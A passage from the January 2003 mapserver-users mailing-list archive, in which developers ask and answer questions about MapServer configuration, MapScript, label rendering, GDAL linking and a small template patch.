Message-ID: <000001c2b98b$13502f50$7e3c2fc3@HSGIS>
Hi Don,
yes mapserver provides this functionality. It can be don in several ways -
with mapserver itself or by mapscript depending on required functionality
(eg. coordinate system of map, zooming etc...).
Stepan Kafka
Help Service Remote Sensing
tel: +420-327514118
mailto:kafka at email.cz
http://www.bnhelp.cz
> -----P?vodn? zpr?va-----
> Od: mapserver-users-admin at lists.gis.umn.edu
> [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele
> dbecker at 911.lubbock.tx.us
> Odesl?no: 11. ledna 2003 0:01
> Komu: mapserver-users at lists.gis.umn.edu
> P?edm?t: [Mapserver-users] Geocode Lat/Long Decimal Degrees
>
>
>
> Hi fellow listers!
>
> I've been looking for a custom mapserver query that will all a user to key
> in Lat/Long coordinates in decimal degrees, and plot that point on a map.
> Does anyone know of an existing mapserver application that will do this? I
> haven't come across that functionality. I'm not looking for batch
> geocoding, but an interface where a pair of coordinates is typed into a
> dialog box resulting with that point on the map. If new coordinates are
> typed then the point changes location.
>
> Thanks,
>
> Don Becker
> Lubbock Emergency Communication District
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
From eduardo at linkgeo.com.br Sat Jan 11 08:34:38 2003
From: eduardo at linkgeo.com.br (Eduardo Patto Kanegae)
Date: Sat, 11 Jan 2003 14:34:38 -0200
Subject: [Mapserver-users] 1st MapServer Users Meeting - a question
Message-ID: <20030111163438.5239.qmail@hm47.locaweb.com.br>
I?ve just read about MUM at MapServer?s site and think that?s a great idea! It means that MapServer is
becoming more popular between webmaping users.
But i would to do some questions about it:
1. Will it be a permanent conference? (something about 1 per year)
2. What is the max date for subscribing for the event?
thanks
Eduardo Patto Kanegae
eduardo at linkgeo.com.br
http://www.linkgeo.com.br
LinkGEO - Webmaping & Geoprocessamento / BRASIL
From mike_5102 at yahoo.com.tw Sun Jan 12 00:15:17 2003
From: mike_5102 at yahoo.com.tw (Mikeyahoo)
Date: Sun, 12 Jan 2003 16:15:17 +0800
Subject: [Mapserver-users] about unicode to big5?
Message-ID: <001101c2ba13$4af4d720$3c46fea9@Mike>
This is a multi-part message in MIME format.
------=_NextPart_000_000C_01C2BA55.CC071D40
Content-Type: text/plain;
charset="big5"
Content-Transfer-Encoding: quoted-printable
Hello all,
I have PHP ver4.0.6 and MapServer version 3.5. and the dbms is =
postgresql7.1.3.I want to show the big5 on my map.My db had already =
converted the unicode to the big5,but the map on web still show the =
unicode.So I want to use php/mapscript to convert the word.following is =
the program that download on web:
>6);
$str.=3D(0x80 | $c & 0x3F);
}ElseIf($c < 0x10000) {
$str.=3D(0xE0 | $c>>12);
$str.=3D(0x80 | $c>>6 & 0x3F);
$str.=3D(0x80 | $c & 0x3F);
}ElseIf($c < 0x200000) {
$str.=3D(0xF0 | $c>>18);
$str.=3D(0x80 | $c>>12 & 0x3F);
$str.=3D(0x80 | $c>>6 & 0x3F);
$str.=3D(0x80 | $c & 0x3F);
}
Return $str;
}
Function Big52Utf8($Big5){
//Modify By MingSen Zhao
If(!Trim($Big5)) Return $Big5;
$tmp=3DFile("./BIG5.TXT");
Foreach($tmp as $key =3D> $value)
$codetable[Hexdec(Substr($value,0,6))]=3DSubstr($value,7,6);
While($Big5){
If(Ord(Substr($Big5,0,1))>127){
$utf8=3DU2Utf8(Hexdec($codetable[Hexdec(Bin2hex(Substr($Big5,0,2)))]));
For($i=3D0;$i
Hello all,
I have PHP ver4.0.6 and =
MapServer version 3.5. and the=20
dbms is postgresql7.1.3.I want to show the =
big5 on my=20
map.My db had already converted the unicode to the big5,but=20
the map on web still show the unicode.So I want to use =
php/mapscript=20
to convert the word.following is the program that download on=20
web:
it need a file "big5.txt" that =
is a u8tob5=20
table.this program can be running correctly.but the word on map is=20
still unreadable.It seems to transfer uncompletely.And the =
tansfer=20
time is slowly.Are there any methods that can work like this =
and more=20
efficiency?
thanks for your=20
response!
------=_NextPart_000_000C_01C2BA55.CC071D40--
-----------------------------------------------------------------
< ?C???? Yahoo!?_?? > www.yahoo.com.tw
From mccrone at pc.jaring.my Sun Jan 12 02:14:56 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Sun, 12 Jan 2003 18:14:56 +0800
Subject: [Mapserver-users] Accessing the cumulative distance value outside of the status bar
References: <005a01c2b511$e2391b20$470a18d3@clickntrac> <3E1E2C0B.3A8AB2F5@dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3@clickntrac> <3E1F27AA.EB411AAB@dmsolutions.ca>
Message-ID: <002001c2ba23$7573a4d0$c79f063d@clickntrac>
After looking at the java source of the 'Rosa2000.java' I see that there is
not function
that returns the cumulative distance text that can be called by a javascript
function.
So, am I correct in saying that there is not currently a function in the
rosa applet that allows
the cumulative distance string to be accessed?
Not being a java developer would it be possible to Add a function
in the Rosa2000.java code to return the parameter m_strMsg,
which i beleive is the string variable that holds the message
displayed in the status bar. See below:
protected void readPararam()
{
// Get the message.
m_strMsg = m_applet.getParameter( kstrDistanceMsgParam );
...
}
In the 'Rosa2000.java' have something like -
public void GetDistMsg()
{
return m_strMsg;
}
From mccrone at pc.jaring.my Sun Jan 12 06:25:29 2003
From: mccrone at pc.jaring.my (Steve McCrone)
Date: Sun, 12 Jan 2003 22:25:29 +0800
Subject: [Mapserver-users] Accessing the spatial part of a shp file
Message-ID: <004b01c2ba46$76639530$7f7a063d@clickntrac>
Hi gain,
Would like to get some ideas on how to access the coordinates of a spatial
shape.
My goal is to have the user 'locate' (i.e. pan & zoom) to a spatial data.
In other words, the user would select from a list of roads, for example, and
then push a 'find' button. The
map would zom and pan to the road. Once I extract the coordinates that make
up the road
I could adjust the map extants to zoom & pan.
I was hoping that i could perform a record search on the shape file, find
the record that contains the attribute (name for example),
extract the coordinates of the polyline, point or polygon and then adjust
the map.
Or do I have to create a separate table that contains a pre-defined centre
coordinate of the spatial data and then use this
to adjust the map extents.
Thanks
Steve
From rich at greenwoodmap.com Sun Jan 12 07:33:38 2003
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Sun, 12 Jan 2003 08:33:38 -0700
Subject: [Mapserver-users] Accessing the cumulative distance value
outside of the status bar
In-Reply-To: <002001c2ba23$7573a4d0$c79f063d@clickntrac>
References: <005a01c2b511$e2391b20$470a18d3@clickntrac>
<3E1E2C0B.3A8AB2F5@dmsolutions.ca>
<001d01c2b8a6$9db0d950$840918d3@clickntrac>
<3E1F27AA.EB411AAB@dmsolutions.ca>
Message-ID: <5.2.0.9.0.20030112082022.00a9eff8@mail.greenwoodmap.com>
--=======6225B89=======
Content-Type: text/plain; x-avg-checked=avg-ok-BC9450D; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit
I'm not familiar with Rosa, but I have added distance measuring
functionality to jBox FKA mapplet. It returns the invididual segment
distance and the cumulative distance, which can then be displayed in the
browser's status bar or elsewhere (like in a text box). For a working
example see:
http://www2.tetonwyo.org/mapserver/
and for the java classes and source
http://www.greenwoodmap.com/mapserver/
It will also be available on the UMN site soon.
Having said all that, it seems like you could accomplish what you want with
Rosa and JavaScript. You can read the browser's status line with
s=defaultStatus;
And you could then implement your own running total or whatever.
Rich
At 06:14 PM 1/12/2003 +0800, Steve McCrone wrote:
>After looking at the java source of the 'Rosa2000.java' I see that there is
>not function
>that returns the cumulative distance text that can be called by a javascript
>function.
>
>So, am I correct in saying that there is not currently a function in the
>rosa applet that allows
>the cumulative distance string to be accessed?
>
>Not being a java developer would it be possible to Add a function
>in the Rosa2000.java code to return the parameter m_strMsg,
>which i beleive is the string variable that holds the message
>displayed in the status bar. See below:
>
>protected void readPararam()
> {
> // Get the message.
> m_strMsg = m_applet.getParameter( kstrDistanceMsgParam );
> ...
> }
>
>In the 'Rosa2000.java' have something like -
>
>public void GetDistMsg()
> {
> return m_strMsg;
> }
>
>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
Richard W. Greenwood, PLS
(307) 733-0203
Rich at GreenwoodMap.com
www.GreenwoodMap.com
--=======6225B89=======--
From morissette at dmsolutions.ca Sun Jan 12 11:48:30 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Sun, 12 Jan 2003 14:48:30 -0500
Subject: [Fwd: [Mapserver-users] ]
Message-ID: <3E21C68E.F2E3F697@dmsolutions.ca>
This is a multi-part message in MIME format.
--------------CA8E78463AE5B2CD3CBAA4A3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
--------------CA8E78463AE5B2CD3CBAA4A3
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Received: from xcalibur.dmsolutions.ca (www2.dmsolutions.on.ca [209.217.116.146])
by in2.magma.ca (Magma's Mail Server) with ESMTP id h0BFv6I1023235
for ; Sat, 11 Jan 2003 10:57:06 -0500 (EST)
Received: from smtp4.jaring.my (smtp4.jaring.my [61.6.32.54])
by xcalibur.dmsolutions.ca (8.11.2/8.11.2) with ESMTP id h0BFv4t31574
for ; Sat, 11 Jan 2003 10:57:04 -0500
Received: from clickntrac (j39.crc23.jaring.my [61.6.96.53])
by smtp4.jaring.my (8.12.6/8.12.6) with SMTP id h0BFuwKg064731
for ; Sat, 11 Jan 2003 23:57:01 +0800 (MYT)
(envelope-from mccrone at pc.jaring.my)
Message-ID: <000e01c2b98a$68883ea0$3560063d at clickntrac>
From: "Steve McCrone"
To: "Daniel Morissette"
References: <005a01c2b511$e2391b20$470a18d3 at clickntrac> <3E1E2C0B.3A8AB2F5 at dmsolutions.ca> <001d01c2b8a6$9db0d950$840918d3 at clickntrac> <3E1F27AA.EB411AAB at dmsolutions.ca>
Subject: Re: [Mapserver-users]
Date: Sat, 11 Jan 2003 23:59:15 +0800
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
X-Mozilla-Status2: 00000000
Hey, thanks for your insight - the estimated value for my distance is
adequate. I made the calculation and used
the SetPixelSize() function - its working fine and changes the value
correctly when I zoom in/out.
I may be pushing my luck here but how do I access the distance measured once
the user finishes
with the tool (i.e. esc or double clicks). The text in the status bar is
cleared once this happens -
I wanted to use this measured distance in a java script function., and I
don't see a way of capturing
the status bar text as the mouse moves.
Steve
----- Original Message -----
From: "Daniel Morissette"
To: "Steve McCrone"
Cc: "mapserver-users"
Sent: Saturday, January 11, 2003 4:06 AM
Subject: Re: [Mapserver-users]
> > Steve McCrone wrote:
> >
> > The pixel_size = ([maxx] - [minx])/[width] will give me how many
> > degrees (decimal degrees) is each pixel, But some further math has to
> > be done to somehow equate this to a distance. Now, I could "inverse"
> > between the two extents to get a metres value but I would essentiall
> > ybe bypassing the "built-in" measurement
> > .
> >
> > Still puzzled. I may have to resort to PHP mapscript to get further
> > control over my app.
> >
>
> Ah, your need to convert the pixel size from degrees to meters, and
> doing this accurately requires that you use the PROJ library because one
> degree of longitude is not the same lenght depending on how far you are
> from the equator. So to get an accurate pixel size value you would have
> to use MapScript (Perl, PHP, etc.) or the php_proj module that comes in
> the php_mapscript directory to calculate the size of one pixel at the
> center of your map image.
>
> Now, if you can live with a very rough approximation you can go with the
> assumption that 1 degree is approx. 69 miles, or 110 km at the equator.
> So the formula becomes:
>
> pixel_size_in_meters = 110000*([maxx] - [minx])/[width]
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
>
--------------CA8E78463AE5B2CD3CBAA4A3--
From bwragg at tpg.com.au Sun Jan 12 14:21:13 2003
From: bwragg at tpg.com.au (Benjamin Wragg)
Date: Mon, 13 Jan 2003 08:51:13 +1030
Subject: [Mapserver-users] Problems with zoomrectangle function
Message-ID: <000001c2ba88$eb5e9c80$0100a8c0@mapping12>
This is a multi-part message in MIME format.
------=_NextPart_000_0001_01C2BAE0.EDEE6720
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I=92m having some trouble with the zoomrectangle function, which I=92m =
using
with a JavaScript rubber band zoom tool I=92ve built.
=20
I=92m passing the following arguments in:=20
A rectangle object which contains the new extents in pixels
The map image width
The map image height
The map objects=92 current extent object.
=20
So my call to the function looks like this:
=20
$GLOBALS['map']->zoomrectangle($extentRectObj,$GLOBALS['map']->width,$GL
OBALS['map']->height,$GLOBALS['map']->extent);
=20
When I=92m zoomed to the full extent of my map file (-180, -90, 180, 90)
the rubber band zoom tool creates a new image but with no extents
changed. I can check this further by printing the map objects extent
values before and after the function call and they are the same.
=20
When I change my map extents so I=92m zoomed in on the map (I can do =
this
by using a tool which sets the extent coordinates manually), my tool
starts to work. I can=92t figure out why? No errors are being generated =
at
any of the times the zoom doesn=92t work.
=20
Thanks,
=20
Benjamin
=20
=20
------=_NextPart_000_0001_01C2BAE0.EDEE6720
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
I’m
having some trouble with the zoomrectangle function, which I’m =
using with
a JavaScript rubber band zoom tool I’ve built.
I’m
passing the following arguments in:
A
rectangle object which contains the new extents in =
pixels
When
I’m zoomed to the full extent of my map file (-180, -90, 180, 90) =
the
rubber band zoom tool creates a new image but with no extents changed. I =
can
check this further by printing the map objects extent values before and =
after the
function call and they are the same.
When I
change my map extents so I’m zoomed in on the map (I can do this =
by using
a tool which sets the extent coordinates manually), my tool starts to =
work. I
can’t figure out why? No errors are being generated at any of the =
times
the zoom doesn’t work.
Thanks,
Benjamin
------=_NextPart_000_0001_01C2BAE0.EDEE6720--
From morissette at dmsolutions.ca Sun Jan 12 18:07:34 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Sun, 12 Jan 2003 21:07:34 -0500
Subject: [Mapserver-users] unable to load dynamic library
References: <25715.1042206453@www50.gmx.net>
Message-ID: <3E221F66.99E723E5@dmsolutions.ca>
frauke.trurnit at gmx.de wrote:
>
> I get the following error message:
>
> Unable to load dynamic library
> '/usr/local/lib/php/extensions/php_mapscript.so' - /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol:
> GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on line 2
> Fatal error: Call to undefined function: ms_newmapobj() in
> /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4
>
PHP seems to find your php_mapscript.so OK. The problem seems related
to your GDAL installation, php_mapscript.so would have been compiled for
a given version of GDAL but would find another version at runtime. Make
sure you don't have two copies of GDAL on your system, and that
MapServer and MapScript are compiled for this copy of GDAL.
(to be safe, recompile and reinstall GDAL from scratch: make clean;
make; make install and then recompile MapServer: make clean; make)
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From silke at intevation.de Sun Jan 12 23:59:13 2003
From: silke at intevation.de (Silke Reimer)
Date: Mon, 13 Jan 2003 08:59:13 +0100
Subject: [Mapserver-users] Allother probles solved - still woking on the PIXEL_SIZE calculation
In-Reply-To: <001a01c2b6d5$b21e1380$276d063d@clickntrac>
References: <001a01c2b6d5$b21e1380$276d063d@clickntrac>
Message-ID: <20030113075913.GA13681@intevation.de>
--gKMricLos+KVdGMg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Hi Steve,
if you apply the following patch to the mapserver, you can get the
pixelsize within your template with the tag [cellsize].
I hope that helps,
=09
Silke
On Wed, Jan 08, 2003 at 01:18:51PM +0800, Steve McCrone wrote:
> Hi again,
>=20
> I guess you could call it the 'Reverse Murphy Law'. Once I mail my questi=
on/problem to the list, I still continue trouble shooting and, through sear=
ching previous questions and trial and error, come up with the solution. So=
, currently my project works with the rosa applet, which zooms, pans etc. I=
can turn layers on & off using checkboxes, my map dos not zoom or pan duri=
ng the toggling on/off of layers. My buttons retain their state after map r=
edraws (i.e. submits). My next un-resolved issue is calculating the PIXEL_S=
IZE to used in the measurement calculation. I'm really trying to avoid get=
ting involved in PHP an wish to achieve all my functionality strictly with =
mapserv and rosa - so far so good.
>=20
> So if anyone out their can shed some light on the PIXEL_SIZE issue that w=
ould be great.
>
> Steve
Here is the patch:
-------------------------
diff -ur mapserver-3.6.2.orig/maptemplate.c
mapserver-3.6.2/maptemplate.c
--- mapserver-3.6.2.orig/maptemplate.c Mon Aug 12 08:48:30 2002
+++ mapserver-3.6.2/maptemplate.c Mon Aug 12 08:53:50 2002
@@ -1963,6 +1963,8 @@
=20
sprintf(repstr, "%f", msObj->Map->scale);
outstr =3D gsub(outstr, "[scale]", repstr);
+ sprintf(repstr, "%f", msObj->Map->cellsize);
+ outstr =3D gsub(outstr, "[cellsize]", repstr);
=20
sprintf(repstr, "%.1f %.1f", (msObj->Map->width-1)/2.0,
(msObj->Map->height-1)/2.0);
outstr =3D gsub(outstr, "[center]", repstr);
-------------------------
--=20
Silke Reimer
Intevation GmbH http://intevation.de/
FreeGIS http://freegis.org/
--gKMricLos+KVdGMg
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0 (GNU/Linux)
iD8DBQE+InHR1W4oD4nfjasRAiDsAKDJa8aFj8EH8hEThhUHKvV6lGRJ7wCg4pzV
9zzWzdWTKu5MJT29oscdAX0=
=ZrqD
-----END PGP SIGNATURE-----
--gKMricLos+KVdGMg--
From frauke.trurnit at gmx.de Mon Jan 13 05:23:03 2003
From: frauke.trurnit at gmx.de (frauke.trurnit at gmx.de)
Date: Mon, 13 Jan 2003 14:23:03 +0100 (MET)
Subject: [Mapserver-users] unable to load dynamic library
References: <3E221F66.99E723E5@dmsolutions.ca>
Message-ID: <15303.1042464183@www51.gmx.net>
> frauke.trurnit at gmx.de wrote:
> >
> > I get the following error message:
> >
> > Unable to load dynamic library
> > '/usr/local/lib/php/extensions/php_mapscript.so' -
> /usr/local/lib/php/extensions/php_mapscript.so: undefined symbol:
> > GDALGetRasterXSize in /usr/local/httpd/htdocs/releases/bundestag.php4 on
> line 2
> > Fatal error: Call to undefined function: ms_newmapobj() in
> > /usr/local/httpd/htdocs/releases/bundestag.php4 on line 4
> >
>
>
> PHP seems to find your php_mapscript.so OK. The problem seems related
> to your GDAL installation, php_mapscript.so would have been compiled for
> a given version of GDAL but would find another version at runtime. Make
> sure you don't have two copies of GDAL on your system, and that
> MapServer and MapScript are compiled for this copy of GDAL.
>
> (to be safe, recompile and reinstall GDAL from scratch: make clean;
> make; make install and then recompile MapServer: make clean; make)
>
> Daniel
> --
> ------------------------------------------------------------
> Daniel Morissette morissette at dmsolutions.ca
> DM Solutions Group http://www.dmsolutions.ca/
> ------------------------------------------------------------
>
Where can I look for a possible second version? I installed only one
version of GDAL (1.1.7). Can it be that Linux has its own GDAL? Or I
made somewhat wrong with the configuration of PHP/Mapscript. For the
configuration I put on the following doit-php4 file:
rm config.cache
make clean
./configure \
--prefix=/usr \
--bindir=/usr/bin \
--libdir=/usr/lib \
--with-exec-dir=%{libdir}/php/bin \
--with-mysql \
--with-tiff-dir=/usr \
--with-jpeg-dir=/usr \
--with-png-dir=/usr \
--with-gif-dir=/usr \
--with-zlib=yes \
--enable-track-vars \
--enable-magic-quotes \
--enable-safe-mode \
--enable-sockets \
--enable-dbase \
--with-config-file-path=/etc/httpd \
--with-regex=system \
--enable-shared \
--with-gd=/usr/frauke/bibliotheken/gd-1.8.4 \
--with-freetype-dir=/usr/include/freetype2 \
--enable-native-gd-ttf
Here is a call of GDAL missing?
The MapServer is configured --with-gdal.
Frauke
--
+++ GMX - Mail, Messaging & more http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr f?r 1 ct/ Min. surfen!
From lfilak at medinaco.org Mon Jan 13 06:04:14 2003
From: lfilak at medinaco.org (Lowell Filak)
Date: Mon, 13 Jan 2003 09:04:14 -0500
Subject: [Mapserver-users] Accessing the spatial part of a shp file
Message-ID: <200301131401.h0DE14R24217@yogi.medinaco.net>
If your using/use Mapscript you can access the least bounding rectangle of a shape via shapeObj->{bounds}.
If your dealing with standard shapefile data, for searching and selecting using the attributes you have different choices.
The critical thing is to make sure you have an attribute that identifies the record number starting at 0 as that value will relate to the shape index.
After you query and select a record by the attributes you can use the record number attribute to select that shape by it's index and then read the bounds of the shape.
You can either 'use' an XBase module in your code that will allow you to read the DBF files directly or you can load the DBF files into a different database and 'use' the module(s) that allow you to read from that database.
You should be able to find a Lot more discussion on this topic in the archives.
HTH
Lowell F.
The following message was sent by "Steve McCrone" on Sun, 12 Jan 2003 22:25:29 +0800.
> Hi gain,
>
> Would like to get some ideas on how to access the coordinates of a spatial
> shape.
> My goal is to have the user 'locate' (i.e. pan & zoom) to a spatial data.
>
> In other words, the user would select from a list of roads, for example, and
> then push a 'find' button. The
> map would zom and pan to the road. Once I extract the coordinates that make
> up the road
> I could adjust the map extants to zoom & pan.
>
> I was hoping that i could perform a record search on the shape file, find
> the record that contains the attribute (name for example),
> extract the coordinates of the polyline, point or polygon and then adjust
> the map.
>
> Or do I have to create a separate table that contains a pre-defined centre
> coordinate of the spatial data and then use this
> to adjust the map extents.
>
> Thanks
> Steve
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Tom.Kralidis at CCRS.NRCan.gc.ca Mon Jan 13 07:59:56 2003
From: Tom.Kralidis at CCRS.NRCan.gc.ca (Tom.Kralidis at CCRS.NRCan.gc.ca)
Date: Mon, 13 Jan 2003 10:59:56 -0500
Subject: [Mapserver-users] web error object
Message-ID: <7CDD7B94357FD5119E800002A537C46E04FA1AA9@s5-ccr-r1.ccrs.nrcan.gc.ca>
Hi,
In MapServer CGI, there is a WEB/ERROR object to give an HTML page when an
error occurs. Is there a way to show the error message in the error HTML
file (something like [error_message]?
I would like to point to an error page within my app's look and feel, but
I'd also like to show what the error was.
Thanks
..Tom
From LEllenbecker at co.winnebago.wi.us Mon Jan 13 08:03:20 2003
From: LEllenbecker at co.winnebago.wi.us (Ellenbecker, Larry)
Date: Mon, 13 Jan 2003 10:03:20 -0600
Subject: [Mapserver-users] TrueType Font and Label Angle
Message-ID:
List,
I'm trying to get true type fonts working with my application on Linux. The
application is up a running on both Linux and NT. True type fonts are
working just fine on NT, but on Linux I've had the following problems. My
application is straight CGI.
System Specs: RedHat 7.0 with freetype-1..3.1. freetype-2.1.2, gd-2.0.9
and mapserver-3.6.1.
After compiling and installing both freetype fonts and GD,
I compiled mapsever and got the msGetLabelSize(): Could not find/open font.
Initaially my application was sitting at:
/var/www/html/simple with simple.map FONSET
fonts/fonts.txt
When I moved my fonts directory to /var/www/html/fonts and
changed simple.map FONSET ../fonts/fonts.txt I was able to use true type
font arial in my application. I then ran into the next issue with Label
Angle. I couldn't get the labels to follow the appropriate line orientation
as it does on my NT version. I researched the list and found Jonathan
Lowe's "line layer label angle changes(solved)" . I've tried to follow
these directions but am still unable to get the labels to plot with the
correct orientation of the line. The BUFFER, BACKGROUNDSHADOWSIZE AND
BACKGROUNDCOLOR create a background box oriented in the appropriate
position but the text doesn't hit the background box.
Has anyone got a sure fire method for resolving truetype
label angle problems - I'd sure appreciate any assistance.
Larry L. Ellenbecker
GIS Systems Analyst
Winnebago County
From jdeck at socrates.Berkeley.EDU Mon Jan 13 08:57:10 2003
From: jdeck at socrates.Berkeley.EDU (John Deck)
Date: Mon, 13 Jan 2003 08:57:10 -0800
Subject: [Mapserver-users] Strange Label Problem
Message-ID: <000301c2bb24$d03adad0$38d62080@JDECKLAP>
This is a multi-part message in MIME format.
------=_NextPart_000_0004_01C2BAE1.C2192170
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: 7bit
I am using the ESRI County Shapefile Layer (that comes with ArcView
3.1). I am able to label counties successfully using the mapfile that I
have posted below. It works for all counties that I have tested except
for "Nevada County" in California. It Labels Nevada County Arkansas
but not the one in California. I've tested cases where there are
multiple county names from different states and they work fine. I have
also ported the data over to postgis and checked the topology and
everything seems fine. Also, I've tried every combination of label
parameters that could affect drawing labels.
This is frustrating because it is apparently random and only fails with
Nevada County. Any help/advice on people who have encountered similar
behaviour would be appreciated! I'm using Mapserver 3.6 on Redhat 7.3.
The shape file is at:
http://bnhmdev.berkeley.edu/test/data/counties.zip
And a demo is at:
http://bnhmdev.berkeley.edu/cgi-bin/mapserv?map=/usr/local/apps/html/map
script/sa_map3.map
&mode=map&layer=us_county
Following is my mapfile:
MAP
EXTENT -149.454 -5.81713 -64.9307 78.781
IMAGETYPE PNG
SIZE 400 400
UNITS DD
NAME "SA_MAP2"
SHAPEPATH "../test/data"
PROJECTION
"proj=latlong"
END
WEB
IMAGEPATH "/usr/local/apps/html/tmp/ms_tmp/"
IMAGEURL "http://bnhmdev.berkeley.edu/tmp/ms_tmp/"
LOG "/tmp/sa_map2.log"
MAXSCALE 500000000000
MINSCALE 1
END
LAYER
NAME us_county
STATUS ON
TYPE POLYGON
STATUS DEFAULT
DATA counties
CLASSITEM "name"
LABELITEM "name"
LABELMAXSCALE 500000000
LABELMINSCALE 1
SIZEUNITS PIXELS
TEMPLATE "template.html"
TOLERANCE 3
TOLERANCEUNITS PIXELS
TYPE POLYGON
UNITS METERS
CLASS
COLOR 255 0 100
EXPRESSION "Nevada"
LABEL
COLOR 255 255 0
MAXSIZE 256
MINSIZE 1
TYPE BITMAP
SIZE TINY
COLOR 100 0 0
FORCE TRUE
MINDISTANCE 1
MINFEATURESIZE 0
PARTIALS TRUE
POSITION AUTO
END
MAXSIZE 100
MINSIZE 1
OUTLINECOLOR 255 0 0
SIZE 1
SYMBOL 0
END
END
END
------=_NextPart_000_0004_01C2BAE1.C2192170
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
I am using the ESRI County Shapefile
Layer (that comes with ArcView 3.1).I am able to label counties =
successfully
using the mapfile that I have posted =
below.It works for all counties that =
I have
tested except for “Nevada =
County” in =
California.It Labels =
Nevada County =
Arkansas =
but not the one
in California.I’ve tested cases where =
there are
multiple county names from different states and they work fine.I have also ported the data =
over to postgis and checked the =
topology
and everything seems fine. =
Also,
I’ve tried every combination of label parameters that could affect
drawing labels.
This is frustrating because it is apparently random =
and only
fails with Nevada =
County.Any help/advice on people =
who have
encountered similar behaviour would be
appreciated!I’m =
using Mapserver 3.6 on Redhat 7.3.
------=_NextPart_000_0004_01C2BAE1.C2192170--
From steve.lime at dnr.state.mn.us Mon Jan 13 10:32:44 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 13 Jan 2003 12:32:44 -0600
Subject: [Mapserver-users] Accessing the spatial part of a shp file
Message-ID:
You can do just that. Query templates allow you to access at least some
spatial information
about each shape. The [shpext] replacement string will get you the
bounding box of the
feature (suitable for use in creating a map or initializing an
interface) and the [shpmid] gets
you the mid-point of the bounding box. Also useful for creating a map
or interface when
pair with a scale value. To do this, in general:
Steve
>>> "Steve McCrone" 01/12/03 08:25AM >>>
Hi gain,
Would like to get some ideas on how to access the coordinates of a
spatial
shape.
My goal is to have the user 'locate' (i.e. pan & zoom) to a spatial
data.
In other words, the user would select from a list of roads, for
example, and
then push a 'find' button. The
map would zom and pan to the road. Once I extract the coordinates that
make
up the road
I could adjust the map extants to zoom & pan.
I was hoping that i could perform a record search on the shape file,
find
the record that contains the attribute (name for example),
extract the coordinates of the polyline, point or polygon and then
adjust
the map.
Or do I have to create a separate table that contains a pre-defined
centre
coordinate of the spatial data and then use this
to adjust the map extents.
Thanks
Steve
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From steve.lime at dnr.state.mn.us Mon Jan 13 10:35:24 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Mon, 13 Jan 2003 12:35:24 -0600
Subject: [Mapserver-users] web error object
Message-ID:
Um, no. The error URL is not a template. It's just a page the user gets
redirected to. Please file this in bugzilla as a feature request...
Steve
>>> 01/13/03 09:59AM >>>
Hi,
In MapServer CGI, there is a WEB/ERROR object to give an HTML page when
an
error occurs. Is there a way to show the error message in the error
HTML
file (something like [error_message]?
I would like to point to an error page within my app's look and feel,
but
I'd also like to show what the error was.
Thanks
..Tom
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From mapsurf at midsouth.rr.com Sat Jan 11 10:33:59 2003
From: mapsurf at midsouth.rr.com (mapsurfer)
Date: Sat, 11 Jan 2003 12:33:59 -0600
Subject: [Mapserver-users] RE: Geocode Lat/Long Decimal Degrees
Message-ID: <000f01c2b9a0$025424d0$0a00a8c0@siliconmapping.com>
This is a multi-part message in MIME format.
------=_NextPart_000_000C_01C2B96D.B7663DA0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Don,
I got a reverse geocoder running at
http://www.siliconmapping.com/cgi-bin/rgeocoder?lat=3D&lon=3D
where and are values in decimal degrees=20
http://www.siliconmapping.com/cgi-bin/rgeocoder?lat=3D33.57778&lon=3D-101=
.85472
Regards,
Chris Stuber (mapsurfer)
> Hi fellow listers!
>=20
> I've been looking for a custom mapserver query that will all a user to =
key
> in Lat/Long coordinates in decimal degrees, and plot that point on a =
map.
> Does anyone know of an existing mapserver application that will do =
this? I
> haven't come across that functionality. I'm not looking for batch
> geocoding, but an interface where a pair of coordinates is typed into =
a
> dialog box resulting with that point on the map. If new coordinates =
are
